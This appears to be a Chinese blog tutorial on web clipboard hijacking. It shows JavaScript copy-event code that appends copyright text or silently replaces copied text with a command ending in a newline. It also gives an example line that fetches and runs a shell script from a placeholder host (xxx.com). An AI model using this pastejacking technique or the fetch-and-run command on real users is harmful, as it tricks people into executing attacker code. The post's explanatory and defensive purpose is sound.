网页复制的剪切板攻击

2024-03-14 09:38
文章标签 网页 攻击 复制 剪切板

本文主要是介绍网页复制的剪切板攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 网页复制背景

对于我这种混吃等死的菜鸡,干活全靠Ctrl+C\V,但复制代码下来之后会出现一个问题,就是小尾巴。

在这里插入图片描述

0x02 小尾巴的实现

小尾巴实现demo的如下:

<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>复制网页内容自动添加版权信息</title>
</head>
<body>分别复制到txt和富文本查看效果<div id="answer">测试数据1<b>测试</b></div><br>   <p style="color:red">测试数据2<br><span style="color:yellow;background-color: #ccc">测试数据3</span></p><script>/**/function setClipboardText(event){event.preventDefault();//阻止元素发生默认的行为(例如,当点击提交按钮时阻止对表单的提交)。var node = document.createElement('div');//对documentfragment不熟,不知道怎么获取里面的内容,用了一个比较笨的方式node.appendChild(window.getSelection().getRangeAt(0).cloneContents());//getRangeAt(0)返回对基于零的数字索引与传递参数匹配的选择对象中的范围的引用。对于连续选择,参数应为零。var htmlData = '<div>'+ node.innerHTML+ '<br /><br />著作权归作者所有。<br />'+ '商业转载请联系作者获得授权,非商业转载请注明出处。<br />'+ '作者:test<br />链接:test<br /><br />'+ '</div>';var textData = window.getSelection().getRangeAt(0)+ '\n\n著作权归作者所有。\n'+ '商业转载请联系作者获得授权,非商业转载请注明出处。\n'+ '作者:test\n'+ '来源:test\n\n';if(event.clipboardData){event.clipboardData.setData("text/html", htmlData);//setData(剪贴板格式, 数据) 给剪贴板赋予指定格式的数据。返回 true 表示操作成功。event.clipboardData.setData("text/plain",textData);}else if(window.clipboardData){ //window.clipboardData的作用是在页面上将需要的东西复制到剪贴板上,提供了对于预定义的剪贴板格式的访问,以便在编辑操作中使用。return window.clipboardData.setData("text", textData);}};document.addEventListener('copy',function(e){setClipboardText(e);});
</script>
</body>
</html>

其实就是在剪切板的内容里加入我们的信息。这里写了html和text两种文本。
在这里插入图片描述

效果如下:

测试数据2著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:test
来源:test

0x03 浏览器插件消除网页小尾巴

那么我们怎么消除这些烦人的小尾巴:

1.手动禁用js
2.使用浏览器插件

手动消除原理:禁用js。

打开chrome开发者模式,在Event Listeners中找到copy中的article,点击remove即可。之后复制就不会带上小尾巴了。

在这里插入图片描述

自动消除,使用浏览器插件。

这里安利一款chrome上下载量很高的插件 Enable Copy

在这里插入图片描述

0x03 思考攻击场景 ?

网页剪切板攻击场景:

在网页里copy 一段shell 代码 比如:

pip install frida

但我们最后一复制实际执行如下:

bash <(curl -s -S -L http://xxx.com/xxx.sh),而且还TM的自动回车执行了,血妈崩。。。

0x04 网页剪切板攻击 实现demo:

和小尾巴一样,在网页里使用js代码,改变剪切板里复制的内容

<html><body>Copy the text below and run it in your terminal for totally not evil things to happen.</br><p>echo "not evil"</p><script>document.addEventListener('copy', function(e){console.log(e);e.clipboardData.setData('text/plain', 'echo "evil"\r\n');e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard});</script></body></html>

关键代码:

           document.addEventListener('copy', function(e){console.log(e);e.clipboardData.setData('text/plain', 'echo "evil"\r\n');//设置剪切板的内容 e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard});

clipboardData.setData设置剪切板的内容,将原先的not evil 换成evil,并加上\r\n直接在shell上执行。

0x05 真实的攻击案列

供应链攻击切换比特币的地址

安全建议:

不要引入外部js,有随意被修改攻击的可能

文章代码在github

0x06 文章引用:

https://www.hluwa.cn/?p=137

https://blog.csdn.net/u010071211/article/details/82821277

https://www.jishux.com/p/5417670518ebafe1

这篇关于网页复制的剪切板攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/807997

相关文章

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

禁止复制的网页怎么复制

禁止复制的网页怎么复制 文章目录 禁止复制的网页怎么复制前言准备工作操作步骤一、在浏览器菜单中找到“开发者工具”二、点击“检查元素(inspect element)”按钮三、在网页中选取需要的片段,锁定对应的元素四、复制被选中的元素五、粘贴到记事本,以`.html`为后缀命名六、打开`xxx.html`,优雅地复制 前言 在浏览网页的时候,有的网页内容无法复制。比如「360

火语言RPA流程组件介绍--浏览网页

🚩【组件功能】:浏览器打开指定网址或本地html文件 配置预览 配置说明 网址URL 支持T或# 默认FLOW输入项 输入需要打开的网址URL 超时时间 支持T或# 打开网页超时时间 执行后后等待时间(ms) 支持T或# 当前组件执行完成后继续等待的时间 UserAgent 支持T或# User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器

起点中文网防止网页调试的代码展示

起点中文网对爬虫非常敏感。如图,想在页面启用调试后会显示“已在调试程序中暂停”。 选择停用断点并继续运行后会造成cpu占用率升高电脑卡顿。 经简单分析网站使用了js代码用于防止调试并在强制继续运行后造成电脑卡顿,代码如下: function A(A, B) {if (null != B && "undefined" != typeof Symbol && B[Symbol.hasInstan

(入门篇)JavaScript 网页设计案例浅析-简单的交互式图片轮播

网页设计已经成为了每个前端开发者的必备技能,而 JavaScript 作为前端三大基础之一,更是为网页赋予了互动性和动态效果。本篇文章将通过一个简单的 JavaScript 案例,带你了解网页设计中的一些常见技巧和技术原理。今天就说一说一个常见的图片轮播效果。相信大家在各类电商网站、个人博客或者展示页面中,都看到过这种轮播图。它的核心功能是展示多张图片,并且用户可以通过点击按钮,左右切换图片。

node快速复制文件或文件夹,排除部分文件(node_modules)

const fs = require('fs')const path = require('path')/*** @description: 获取完整的文件路径* @param {*} url 路径* @return {*} 返回完整的文件路径*/const getPath = (url) => {return path.join(__dirname, url)}/*** @descr

【IPV6从入门到起飞】4-RTMP推流,ffmpeg拉流,纯HTML网页HLS实时直播

【IPV6从入门到起飞】4-RTMP推流,ffmpeg拉流,纯HTML网页HLS实时直播 1 背景2 搭建rtmp服务器2.1 nginx方案搭建2.1.1 windows 配置2.1.2 linux 配置 2.2 Docker方案搭建2.2.1 docker 下载2.2.2 宝塔软件商店下载 3 rtmp推流3.1 EV录屏推流3.2 OBS Studio推流 4 ffmpeg拉流转格式